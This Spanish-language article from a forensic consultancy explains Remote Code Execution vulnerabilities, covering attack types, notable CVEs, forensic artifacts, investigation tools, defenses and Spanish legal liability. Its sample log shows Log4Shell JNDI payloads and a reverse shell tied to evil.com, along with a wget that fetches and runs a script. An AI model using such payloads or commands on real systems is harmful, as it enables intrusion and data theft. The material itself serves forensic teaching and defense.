Ciberataques

RCE (Remote Code Execution)

Vulnerabilidad que permite a un atacante ejecutar código arbitrario en un sistema remoto sin acceso físico al mismo. Clasificada como la categoría de mayor gravedad en ciberseguridad, con puntuaciones CVSS típicamente entre 9.0 y 10.0.

22 min de lectura

Qué es RCE (Remote Code Execution)

Log4Shell (CVE-2021-44228) dejó expuesta a la mayoría de los entornos cloud empresariales: una RCE con CVSS 10.0 que permitía ejecutar código arbitrario en cualquier servidor Java con una sola petición HTTP. Cuatro años después, en enero de 2026, dos RCE en Ivanti Endpoint Manager Mobile (CVE-2026-1281 y CVE-2026-1340, CVSS 9.8) se explotaban activamente en el mundo real; no consta que fueran la vía de la intrusión en la Comisión Europea, cuyas coberturas hablan solo de «mobile device management system» sin nombrar fabricante. Las RCE siguen siendo el vector de ataque más devastador en ciberseguridad. No hay vulnerabilidad más temida por los equipos de seguridad: una RCE convierte cualquier servidor accesible desde internet en una puerta abierta para el atacante.

RCE (Remote Code Execution) o ejecución remota de código es una categoría de vulnerabilidad de seguridad que permite a un atacante ejecutar comandos o código arbitrario en un sistema remoto a traves de la red, sin necesidad de acceso físico ni, en los casos más graves, de autenticación previa. Cuando un atacante explota una RCE, obtiene la capacidad de ejecutar cualquier instrucción en el servidor víctima con los privilegios del proceso vulnerable, lo que tipicamente permite instalar malware, robar datos, crear puertas traseras o pivotar hacia otros sistemas de la red interna.

En la escala CVSS (Common Vulnerability Scoring System), las vulnerabilidades RCE sin autenticación reciben sistematicamente puntuaciones de 9.0 a 10.0, el rango máximo de criticidad. Según datos del NIST National Vulnerability Database, en 2025 se registraron más de 1.200 vulnerabilidades RCE, de las cuales 347 recibieron puntuación CVSS 9.0 o superior. Para el perito informático forense, las RCE son particularmente relevantes porque su explotación deja artefactos forenses específicos y porque la existencia de un parche no aplicado puede constituir negligencia legal.

Criticidad maxima: control total del sistema

Una vulnerabilidad RCE explotada con éxito da al atacante el mismo nivel de control que si estuviera sentado frente al servidor. Puede leer cualquier archivo, modificar configuraciones, instalar ransomware, exfiltrar bases de datos completas o destruir toda la información. Es el equivalente digital a entregar las llaves del edificio a un intruso.


Tipos de vulnerabilidades RCE

Las RCE se manifiestan a traves de diferentes mecanismos técnicos. Comprender el tipo es esencial para el análisis forense, ya que cada uno deja artefactos distintos y requiere técnicas de investigación específicas.

TipoMecanismoEjemplo realArtefactos forenses
Inyección de códigoEl atacante inyecta código que el servidor interpreta y ejecutaLog4Shell (JNDI injection en Java)Payloads en logs de acceso, clases Java descargadas
Deserializacion inseguraDatos serializados maliciosos se procesan sin validación, ejecutando código al deserializarApache Commons Collections, Java RMIObjetos serializados anómalos en tráfico de red
Desbordamiento de bufferDatos exceden el tamaño del buffer asignado, sobrescribiendo memoria y redirigiendo la ejecuciónEternalBlue (SMBv1), HeartbleedCrash dumps, procesos anómalos, shellcode en memoria
Inyección de comandosEntrada del usuario se pasa directamente a funciones del sistema operativoIvanti EPMM 2026, Bash shellshockComandos shell en parámetros HTTP, procesos hijos anómalos
Server-Side Template Injection (SSTI)Código malicioso inyectado en plantillas del servidor se evalua y ejecutaVulnerabilidades en Jinja2, Freemarker, TwigExpresiones de template en parámetros de entrada
Inclusión de archivos (LFI/RFI)El atacante incluye archivos locales o remotos que contienen código ejecutableVulnerabilidades PHP include/requireLogs con rutas de archivos anómalos, webshells descargados

Inyección de código: el caso Log4Shell

Log4Shell (CVE-2021-44228) es el ejemplo paradigmático de RCE por inyección. La librería Apache Log4j, utilizada en millones de aplicaciones Java, procesaba expresiones JNDI (Java Naming and Directory Interface) embebidas en cualquier string que fuera logueado. Un atacante solo necesitaba enviar una cadena como ${jndi:ldap://servidor-atacante/exploit} en cualquier campo que la aplicación registrara en sus logs (User-Agent, campo de formulario, cabecera HTTP) para que el servidor descargara y ejecutara código remoto.

Inyección de comandos: Ivanti EPMM 2026

Las vulnerabilidades CVE-2026-1281 y CVE-2026-1340 en Ivanti Endpoint Manager Mobile permitieron inyección de comandos del sistema operativo sin autenticación. El atacante enviaba peticiones HTTP especialmente construidas que el servidor pasaba directamente a funciones exec() del sistema, permitiendo ejecución de comandos shell con privilegios del servicio web. Estas vulnerabilidades se explotaron activamente antes de que existiera parche completo: CERT-EU avisó de ello en enero de 2026, sin nombrar víctimas.

Pre-autenticacion vs post-autenticacion

Las RCE más críticas son las que no requieren autenticación previa (pre-auth RCE). Cualquier atacante que pueda enviar una petición al servidor puede explotarlas. Las RCE post-autenticacion requieren credenciales válidas, lo que reduce significativamente la superficie de ataque pero no elimina el riesgo (credenciales robadas, cuentas por defecto).


Cadena de ataque: como se explota una RCE

  1. Reconocimiento del objetivo: El atacante identifica el software y versión que ejecuta el servidor objetivo. Utiliza herramientas como Shodan, Censys o escaneo directo con Nmap para detectar servicios expuestos. Busca versiones conocidas como vulnerables consultando bases de datos CVE y advisories de seguridad. En el caso de Log4Shell, cualquier aplicación Java con Log4j 2.0-2.14.1 era vulnerable.

  2. Desarrollo o adquisición del exploit: El atacante construye el payload de explotación o utiliza exploits públicos disponibles en repositorios como Exploit-DB o frameworks como Metasploit. Para vulnerabilidades zero-day, el exploit puede provenir de mercados clandestinos donde se venden por decenas o cientos de miles de dólares.

  3. Entrega del payload: El atacante envía la petición maliciosa al servidor. Dependiendo del tipo de RCE, el payload puede ir en una cabecera HTTP, un parámetro de URL, un campo de formulario, un archivo subido o incluso un paquete de red a nivel de protocolo. El objetivo es que el servidor procese el payload y ejecute el código embebido.

  4. Ejecución de código inicial: El servidor vulnerable procesa el payload y ejecuta el código del atacante. Esta primera ejecución tipicamente tiene los privilegios del proceso web o servicio comprometido (por ejemplo, www-data en Apache, NETWORK SERVICE en IIS). El atacante establece una shell reversa o despliega un webshell para mantener acceso interactivo.

  5. Post-explotacion y escalada de privilegios: Desde el acceso inicial, el atacante busca escalar a privilegios de administrador o root mediante técnicas de escalada de privilegios. Esto puede incluir explotar vulnerabilidades del kernel, configuraciones erroneas de sudo/SUID, o robo de credenciales almacenadas en el sistema.

  6. Persistencia y movimiento lateral: El atacante instala mecanismos de persistencia (backdoors, cron jobs, servicios, claves SSH) y pivota hacia otros sistemas de la red interna. Los servidores comprometidos por RCE frecuentemente se convierten en puntos de entrada para ataques de ransomware que cifran toda la infraestructura.


Ejemplos reales de RCE: las vulnerabilidades más devastadoras

VulnerabilidadCVECVSSAñoImpactoVector
Log4ShellCVE-2021-4422810.0202193% entornos cloud afectados, millones de servidores JavaJNDI injection en Log4j
Ivanti EPMMCVE-2026-1281, CVE-2026-13409.82026Explotación activa confirmada; miles de dispositivos MDMCommand injection sin autenticación
EternalBlueMS17-0109.82017WannaCry: 300.000+ equipos en 150 países, NHS paralizadoBuffer overflow en SMBv1
ProxyShellCVE-2021-34473/34523/312079.82021Decenas de miles de servidores Exchange comprometidosCadena de 3 vulnerabilidades Exchange
Spring4ShellCVE-2022-229659.82022Aplicaciones Spring Framework con JDK 9+ y TomcatClass injection via data binding
MOVEit TransferCVE-2023-343629.82023Cl0p ransomware, 2.500+ organizaciones, 90M registrosSQL injection a RCE
Citrix BleedCVE-2023-49667.5 (NVD) · 9.4 (Citrix)2023Boeing, ICBC China, miles de VPNs corporativasSession token hijacking + RCE

Log4Shell: anatomía del RCE más impactante

Peticion HTTP del atacante:
GET /api/search HTTP/1.1
Host: victima.com
User-Agent: ${jndi:ldap://atacante.invalid:1389/exploit}

Secuencia de explotacion:
1. Servidor loguea el User-Agent con Log4j
2. Log4j interpreta la expresion JNDI
3. Servidor contacta servidor LDAP del atacante
4. Servidor LDAP responde con referencia a clase Java
5. Servidor victima descarga y ejecuta la clase Java maliciosa
6. Atacante obtiene shell reversa con privilegios del proceso Java

La simplicidad del exploit —una sola línea en una cabecera HTTP— combinada con la ubicuidad de Log4j en el ecosistema Java (presente en Apache Struts, Solr, Druid, Flink, Kafka, Elasticsearch, y cientos de productos más) convirtio a Log4Shell en la vulnerabilidad más explotada de la década.

Ivanti EPMM 2026: RCE contra infraestructura europea

En enero de 2026, CERT-EU —el equipo de respuesta de las instituciones europeas, no ENISA— publicó el aviso 2026-001 sobre dos vulnerabilidades críticas de Ivanti Endpoint Manager Mobile, señalando que una de ellas se había explotado «en un número limitado de casos». El aviso no nombra víctima alguna. Los atacantes, presuntamente vinculados a un grupo APT estatal, encadenaron CVE-2026-1281 (bypass de autenticación) con CVE-2026-1340 (inyección de comandos) para obtener ejecución remota de código sin credenciales en servidores que gestionaban dispositivos móviles de funcionarios europeos.

Tiempo de exposicion critico

En el caso de Log4Shell, los primeros escaneos masivos se detectaron 9 horas después de la publicación del CVE. En el caso de Ivanti EPMM 2026, los ataques fueron zero-day: se produjeron antes de que existiera parche. Las organizaciones que no tenían monitoreo activo de red descubrieron la intrusión semanas después, cuando los atacantes ya habían exfiltrado datos y establecido persistencia.


Análisis forense de un ataque RCE

La explotación de una vulnerabilidad RCE deja artefactos forenses específicos en múltiples capas del sistema. El perito informático debe saber donde buscar y que esperar en cada una.

Artefactos forenses por capa

CapaArtefactoDonde buscarQue indica
RedPeticiones HTTP con payloads maliciososLogs Apache/Nginx, IDS/IPS, PCAPPayload de explotación, IP del atacante
RedConexiones salientes anómalas (reverse shell)Logs firewall, netflow, PCAPComunicación con servidor C2
AplicaciónErrores o excepciones tras explotaciónLogs de la aplicación (stderr, log files)Momento exacto de la explotación
Sistema de archivosWebshells (archivos PHP, JSP, ASPX nuevos)Directorios web, búsqueda por fecha de creaciónPersistencia del atacante en el servidor
Sistema de archivosScripts o binarios descargados/tmp, /dev/shm, directorios temporalesHerramientas de post-explotacion
ProcesosProcesos hijos anómalos del servicio webMemoria RAM, logs de auditoríaComandos ejecutados tras la explotación
Memoria RAMShellcode, conexiones establecidas, credencialesVolcado de memoria con herramientas forensesEstado del ataque en tiempo real
Logs del SONuevos usuarios, servicios, tareas programadasEvent logs Windows, auth.log LinuxPersistencia y escalada de privilegios

Proceso de investigación forense de RCE

  1. Preservación inmediata: Antes de cualquier acción, capturar la memoria RAM del servidor con herramientas como LiME (Linux) o WinPmem (Windows). Los procesos del atacante, las conexiones de red activas y los shellcodes en memoria se pierden con un reinicio. Crear imagen forense del disco con hash SHA-256 para garantizar la integridad de la cadena de custodia.

  2. Análisis de logs de acceso web: Revisar los access logs de Apache, Nginx o IIS buscando peticiones con payloads de explotación. Patrones típicos incluyen: expresiones JNDI (${jndi:), caracteres de inyección de comandos (;, |, `), codificacion URL inusual (%24%7Bjndi), y User-Agents anómalos. Correlacionar la IP de origen con el timestamp para establecer el inicio del ataque.

  3. Identificación de webshells y backdoors: Buscar archivos nuevos en los directorios del servidor web creados después del timestamp de explotación. Los webshells comunes incluyen archivos PHP con funciones eval(), system(), exec(), passthru(); archivos JSP con Runtime.getRuntime().exec(); o archivos ASPX con invocaciones de PowerShell. Utilizar reglas YARA específicas para detectar webshells conocidos y ofuscados.

  4. Análisis de procesos y conexiones: En el volcado de memoria, identificar procesos hijos anómalos del servicio web. Si Apache (httpd) tiene un proceso hijo bash o sh, es indicador claro de ejecución de comandos post-RCE. Listar conexiones de red establecidas buscando reverse shells (conexiones TCP salientes a puertos no estándar).

  5. Reconstrucción de la timeline: Crear una línea temporal completa correlacionando logs de acceso web, logs de la aplicación, logs del sistema operativo y artefactos del sistema de archivos. Determinar: momento de la primera explotación exitosa, comandos ejecutados, archivos creados o modificados, datos exfiltrados y mecanismos de persistencia instalados.

  6. Evaluación del alcance: Determinar si el atacante escalo privilegios, se movio lateralmente a otros sistemas, accedio a bases de datos o exfiltro datos sensibles. Verificar si instalo ransomware, mino criptomonedas o establecio acceso persistente a la red.

Ejemplo: artefactos forenses de un ataque Log4Shell

## 1. Payload en access.log de Apache
10.45.23.100 - - [11/Dec/2021:14:23:45 +0000]
  "GET /api/v1/search?q=${jndi:ldap://evil.com:1389/a} HTTP/1.1" 200 1523
  "${jndi:ldap://evil.com:1389/a}"

## 2. Conexion LDAP saliente en firewall log
14:23:45 ALLOW TCP 192.168.1.50:49231 -> 203.0.113.42:1389 (LDAP)

## 3. Descarga de clase Java maliciosa
14:23:46 ALLOW TCP 192.168.1.50:49232 -> 203.0.113.42:8888 (HTTP)
  GET /ExploitClass.class HTTP/1.1

## 4. Reverse shell establecida
14:23:47 ALLOW TCP 192.168.1.50:49233 -> 203.0.113.42:4444 (desconocido)
  # Conexion persistente - reverse shell activa

## 5. Proceso anomalo en el servidor
www-data  12345  0.0  0.1 /bin/bash -i
  # Proceso bash hijo del proceso Java (Tomcat)
  # PID padre: 6789 (java -jar application.jar)

## 6. Comandos ejecutados por el atacante (bash_history o auditd)
whoami
id
cat /etc/passwd
wget http://evil.com/tools/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh
YARA rules para detección de webshells

Las reglas YARA son fundamentales para detectar webshells en servidores comprometidos por RCE. Repositorios como YARA-Rules de la comunidad y las signatures de CISA proporcionan reglas actualizadas para detectar webshells PHP, JSP, ASPX y Python, incluyendo variantes ofuscadas. El perito debe ejecutar el escaneo YARA sobre todo el directorio web y los directorios temporales del sistema.


Herramientas forenses para investigación de RCE

Análisis de memoria y procesos

HerramientaFunciónRelevancia para RCE
Volatility 3Análisis de volcado de memoria RAMListar procesos, conexiones de red, shellcode inyectado, DLLs cargadas
LiMECaptura de memoria en LinuxAdquisición de memoria sin modificar el estado del sistema
WinPmemCaptura de memoria en WindowsEquivalente de LiME para sistemas Windows
RekallFramework de análisis de memoriaNo es alternativa vigente: repositorio archivado desde el 18 de octubre de 2020. Usar Volatility 3

Detección de malware y webshells

HerramientaFunciónRelevancia para RCE
YARADetección basada en firmas y patronesIdentificar webshells, backdoors, exploits conocidos
ClamAVAntivirus open sourceEscaneo rápido de archivos sospechosos en el servidor
LokiScanner de IOCsDetecta herramientas de hacking, webshells y anomalias
Thor LiteScanner forense avanzadoDetección de amenazas con reglas YARA y Sigma

Análisis de red y logs

HerramientaFunciónRelevancia para RCE
WiresharkAnálisis de capturas de red (PCAP)Reconstruir peticiones HTTP con payloads RCE, conexiones C2
Zeek (Bro)Monitoreo y análisis de tráfico de redDetectar conexiones anómalas, exfiltración de datos
Splunk / ELK StackCorrelación de logsCruzar logs web, firewall y sistema para reconstruir timeline
GoAccessAnálisis rápido de access logsIdentificar patrones de escaneo y explotación en logs web

Análisis de sistema de archivos

HerramientaFunciónRelevancia para RCE
Autopsy / Sleuth KitAnálisis forense de discoBuscar archivos creados/modificados tras la explotación
FTK ImagerAdquisición forense de imágenes de discoCrear copia forense con hash para cadena de custodia
KAPERecopilación rápida de artefactosExtraer logs, prefetch, timeline del sistema comprometido

Protección contra vulnerabilidades RCE

Medidas preventivas esenciales

MedidaTipoEficacia contra RCE
Parcheo inmediato de vulnerabilidades críticasPreventivaMáxima: elimina la vulnerabilidad explotable
WAF (Web Application Firewall)Preventiva/DetectivaAlta: bloquea payloads conocidos de RCE en tráfico HTTP
Segmentación de redPreventivaAlta: limita el movimiento lateral tras explotación
Principio de mínimo privilegioPreventivaAlta: reduce el impacto si el servicio es comprometido
Deshabilitar funciones peligrosasPreventivaMedia-alta: elimina vectores de inyección de comandos
Validación estricta de entradaPreventivaMedia-alta: filtra payloads de inyección
Contenedores con perfiles de seguridadPreventivaMedia: limita syscalls y acceso a recursos del host
Monitoreo de procesos (EDR)DetectivaAlta: detecta ejecución anómala de comandos

Arquitectura de defensa en profundidad

  1. Capa perimetral - WAF y firewall: Desplegar un WAF con reglas actualizadas (OWASP ModSecurity CRS, reglas personalizadas para CVEs recientes). Configurar el firewall para bloquear conexiones salientes no autorizadas desde los servidores web, cortando las reverse shells y las descargas de payloads.

  2. Capa de aplicación - código seguro: Implementar validación estricta de entrada, usar funciones seguras en lugar de eval(), exec(), system(). Deshabilitar funciones peligrosas en la configuración del runtime (por ejemplo, disable_functions en PHP). Utilizar librerias actualizadas y escanear dependencias con herramientas SCA (Software Composition Analysis).

  3. Capa de sistema - segmentación y privilegios: Ejecutar los servicios web con el mínimo privilegio posible (usuario dedicado sin acceso a shell). Implementar contenedores con perfiles seccomp/AppArmor. Segmentar la red para que un servidor web comprometido no pueda acceder directamente a bases de datos o sistemas internos críticos.

  4. Capa de detección - monitoreo continuo: Desplegar EDR en los servidores, monitorear logs de acceso web en tiempo real con alertas para patrones de explotación, y configurar IDS/IPS con firmas actualizadas para CVEs críticos. Implementar detección de anomalias en conexiones de red salientes.

  5. Capa de respuesta - plan de incidentes: Tener un plan de respuesta a incidentes documentado que incluya procedimientos específicos para RCE: aislamiento del servidor, captura de memoria, preservación de logs, análisis forense y notificación a autoridades si aplica (RGPD, NIS2).


Implicaciones legales de las vulnerabilidades RCE

Responsabilidad penal del atacante

El Código Penal español tipifica la explotación de vulnerabilidades RCE en varios artículos:

Artículo CPTipo delictivoAplicación a RCEPena
Art. 197 bisAcceso ilícito a sistemasExplotación de RCE para acceder sin autorización6 meses - 2 años prisión
Art. 197.1Interceptación de datos personalesSi el atacante accede a datos personales post-RCE1-4 años prisión
Art. 264Daños informáticosSi el atacante modifica, destruye o cifra datos (ransomware)6 meses - 3 años prisión
Art. 264 bisObstrucción de sistemasSi el ataque causa denegación de servicio6 meses - 3 años prisión, en su mitad superior si perjudica de forma relevante la actividad de una empresa o Administración
Art. 278Descubrimiento de secretos de empresaSi se exfiltran datos comerciales confidenciales2-4 años prisión

Responsabilidad de la empresa víctima: negligencia y RGPD

La existencia de un parche publicado y no aplicado es el factor determinante en la evaluación de negligencia. El perito forense documenta:

FactorIndicador de negligenciaMarco legal
Parche disponible no aplicadoCVE publicado con parche hace más de 30 díasArt. 32 RGPD (medidas técnicas adecuadas)
Ausencia de WAFSin capa de protección perimetral para el servicio webENS (Esquema Nacional de Seguridad)
Sin monitorizaciónNo hay logs, IDS/IPS ni alertas configuradasArt. 5.2 RGPD (accountability)
Sin plan de respuestaNo existe procedimiento documentado ante incidentesArt. 33 RGPD (notificación en 72h)
Software EOLUso de versiones sin soporte de seguridadEstándares ISO 27001, directivas sectoriales

Directiva NIS2 y obligaciones de ciberseguridad

La Directiva NIS2 (en transposición en España en 2026) amplia las obligaciones de ciberseguridad a sectores esenciales e importantes. Para las empresas afectadas, una RCE explotada por falta de parcheo puede suponer:

  • Sanciones de hasta 10 millones de euros o el 2% de la facturación anual global
  • Responsabilidad personal de los directivos por incumplimiento de medidas de ciberseguridad
  • Obligación de notificación a las autoridades competentes en 24 horas (alerta temprana) y 72 horas (notificación completa)
Negligencia demostrable ante un tribunal

Cuando un perito forense documenta que una vulnerabilidad RCE critica (CVSS 9.0+) tenía parche disponible durante semanas o meses antes del ataque, y la empresa víctima no lo aplico, esto constituye evidencia de negligencia en la protección de datos. En procedimientos ante la AEPD, este tipo de informes periciales han resultado en sanciones agravadas por falta de diligencia debida.


Caso práctico: ataque RCE contra servidor web corporativo

Escenario

Una empresa española de comercio electrónico con 80.000 clientes registrados opera un servidor Apache Tomcat expuesto a internet. En febrero de 2026, el equipo de sistemas detecta rendimiento anómalo del servidor y conexiones salientes a IPs desconocidas. El análisis inicial revela que el servidor ejecutaba una versión de una librería Java con una vulnerabilidad RCE conocida (parche publicado 45 días antes del incidente).

Investigación forense

Fase 1: Preservación

## Captura de memoria RAM antes de cualquier accion
sudo insmod lime.ko "path=/evidencia/mem.lime format=lime"
sha256sum /evidencia/mem.lime > /evidencia/hashes.txt

## Imagen forense del disco
sudo dc3dd if=/dev/sda of=/evidencia/disk.dd hash=sha256 log=/evidencia/dc3dd.log

## Copia de logs
tar czf /evidencia/logs.tar.gz /var/log/tomcat/ /var/log/apache2/ /var/log/auth.log
sha256sum /evidencia/logs.tar.gz >> /evidencia/hashes.txt

Fase 2: Timeline reconstruido

HoraActividadEvidencia
03:12Primeros escaneos de reconocimiento desde IP externaaccess.log: peticiones a rutas conocidas de Tomcat
03:18Envio de payload RCE en parámetro HTTPaccess.log: payload de deserializacion en POST body
03:18Ejecución exitosa: proceso bash hijo de JavaVolcado memoria: PID anómalo bajo Tomcat
03:19Descarga de herramientas de post-explotacionFirewall log: conexion HTTP saliente a IP del atacante
03:22Enumeración del sistema (linpeas, id, whoami)bash_history, auditd logs
03:28Escalada a root via vulnerabilidad kernelauditd: syscall execve con uid=0 desde usuario tomcat
03:35Instalación de webshell en directorio webSistema archivos: archivo JSP nuevo en /var/lib/tomcat/webapps/
03:42Acceso a base de datos MySQL (credenciales en config)MySQL general_log: SELECT sobre tablas de clientes
04:15Exfiltración de 80.000 registros de clientesFirewall log: 450 MB de tráfico saliente
04:30Instalación de cron job para persistenciacrontab: reverse shell cada 5 minutos

Fase 3: Cuantificación del impacto

Dato comprometidoRegistrosCriticidad RGPD
Nombres y emails de clientes80.000Alta
Direcciones postales72.000Alta
Últimos 4 dígitos tarjetas + fecha expiracion65.000Critica
Historial de pedidos340.000Media
Credenciales internas (hashes)15Alta

Conclusiones periciales

El informe pericial documento:

  • La vulnerabilidad RCE especifica explotada y su código CVE
  • Que el parche estaba disponible 45 días antes del ataque y no fue aplicado
  • El alcance completo de la brecha: 80.000 datos personales exfiltrados
  • La ausencia de WAF, monitorización de logs y segmentación de red
  • La obligación de notificación a la AEPD en 72 horas (art. 33 RGPD)
  • Recomendación de notificación a los 80.000 afectados (art. 34 RGPD)

¿Lo has sufrido y no sabes qué se llevaron?

Reconstruir un ataque es responder qué entró, cuándo, por dónde y qué salió. Cada día que pasa quedan menos registros para hacerlo.

Preguntas frecuentes

Qué es una vulnerabilidad RCE y por qué es tan peligrosa

Una vulnerabilidad RCE (Remote Code Execution) permite a un atacante ejecutar cualquier comando en un servidor remoto a traves de la red, sin necesidad de acceso físico. Es la categoría más grave en ciberseguridad porque da control total del sistema al atacante: puede robar datos, instalar ransomware, crear puertas traseras, pivotar a otros sistemas de la red o destruir toda la información. Las RCE sin autenticación previa reciben puntuaciones CVSS de 9.0-10.0 (el máximo). Según NIST, en 2025 se registraron más de 1.200 vulnerabilidades RCE, lo que demuestra que son una amenaza constante y en crecimiento.

Cuáles son los RCE más graves de los últimos años

Los RCE más impactantes de la última década incluyen: Log4Shell (CVE-2021-44228, CVSS 10.0), que dejó expuesta a la mayoría de los entornos cloud empresariales y permitía ejecución remota con una sola línea en una cabecera HTTP; Ivanti EPMM (CVE-2026-1281/1340, CVSS 9.8), explotado como zero-day en 2026; EternalBlue (MS17-010), utilizado por WannaCry para cifrar 300.000 equipos en 150 países en 2017; ProxyShell en Microsoft Exchange, que comprometio decenas de miles de servidores de correo corporativo; y MOVEit Transfer (CVE-2023-34362), explotado por el grupo Cl0p para robar datos de 2.500+ organizaciones y 90 millones de registros.

Cómo investiga un perito forense un ataque RCE

El perito forense sigue un proceso sistemático: primero, preserva la memoria RAM del servidor (que contiene procesos del atacante, conexiones activas y shellcode) y crea una imagen forense del disco con hash SHA-256 para la cadena de custodia. Después, analiza los logs de acceso web buscando peticiones con payloads de explotación (inyecciones JNDI, inyecciones de comandos, deserializacion). Identifica webshells y backdoors usando reglas YARA, reconstruye la timeline completa del ataque correlacionando múltiples fuentes de logs, cuantifica los datos comprometidos y evalua si existio negligencia (parche disponible no aplicado). Herramientas clave incluyen Volatility para memoria RAM, Wireshark para tráfico de red y Autopsy para análisis de disco.


Relación con otros conceptos

La ejecución remota de código se conecta directamente con múltiples disciplinas del peritaje informático forense:

  • Zero-Day: Las RCE más peligrosas son las zero-day, vulnerabilidades para las que no existe parche en el momento de la explotación. Los casos de Ivanti EPMM 2026 y MOVEit Transfer 2023 son ejemplos de RCE explotadas como zero-day antes de que el fabricante publicara solución.

  • CVE (Vulnerabilidades): Cada vulnerabilidad RCE recibe un identificador CVE que permite referenciarla de forma universal. En el informe pericial, el CVE es clave para documentar que vulnerabilidad fue explotada y si el parche estaba disponible.

  • Inyección SQL: Algunas RCE se logran escalando desde una inyección SQL inicial. El caso de MOVEit Transfer (2023) demostro como una SQLi puede convertirse en ejecución remota de código cuando la base de datos tiene privilegios excesivos.

  • Escalada de Privilegios: Tras la explotación inicial de una RCE, el atacante tipicamente busca escalar privilegios desde el usuario del servicio web hasta root o SYSTEM para obtener control total del sistema.


Has sufrido un ataque RCE o necesitas evaluar la seguridad de tus servidores? Contacta con Digital Perito para un análisis forense con validez judicial que documente el alcance de la intrusión y determine responsabilidades.

Última actualización: Febrero 2026 Categoría: Ciberataques Código: ATK-013

Preguntas Frecuentes

¿Qué es una vulnerabilidad RCE y por qué es tan peligrosa?

Una vulnerabilidad RCE (Remote Code Execution) permite a un atacante ejecutar cualquier comando en un servidor remoto a través de la red, sin necesidad de acceso físico ni credenciales. Es la categoría más grave porque da control total del sistema: el atacante puede robar datos, instalar malware, pivotar a otros sistemas de la red o destruir información. Las RCE sin autenticación previa reciben puntuaciones CVSS de 9.0-10.0.

¿Cuáles son los RCE más graves de los últimos años?

Los RCE más impactantes incluyen: Log4Shell (CVE-2021-44228, CVSS 10.0) que afectó a millones de servidores Java; las vulnerabilidades Ivanti EPMM (CVE-2026-1281/1340, CVSS 9.8), explotadas activamente contra clientes de ese producto; EternalBlue (MS17-010) explotado por WannaCry; y ProxyShell en Microsoft Exchange que permitió acceso a servidores de correo corporativo.

¿Cómo investiga un perito forense un ataque RCE?

El perito analiza: logs de acceso web buscando peticiones maliciosas (payloads de inyección), procesos anómalos ejecutados por el servicio web comprometido, conexiones de red hacia servidores C2, archivos creados o modificados tras la explotación (webshells, backdoors), y escalada de privilegios posterior. Herramientas clave: Volatility para memoria RAM, análisis de logs Apache/Nginx, y YARA rules para detectar payloads conocidos.

¿Necesitas un peritaje forense?

Si necesitas ayuda profesional con análisis forense digital, estoy aquí para ayudarte.

Solicitar Consulta Gratuita
Jonathan Izquierdo

Jonathan Izquierdo · Perito Forense

+15 años experiencia · AWS Certified

WhatsApp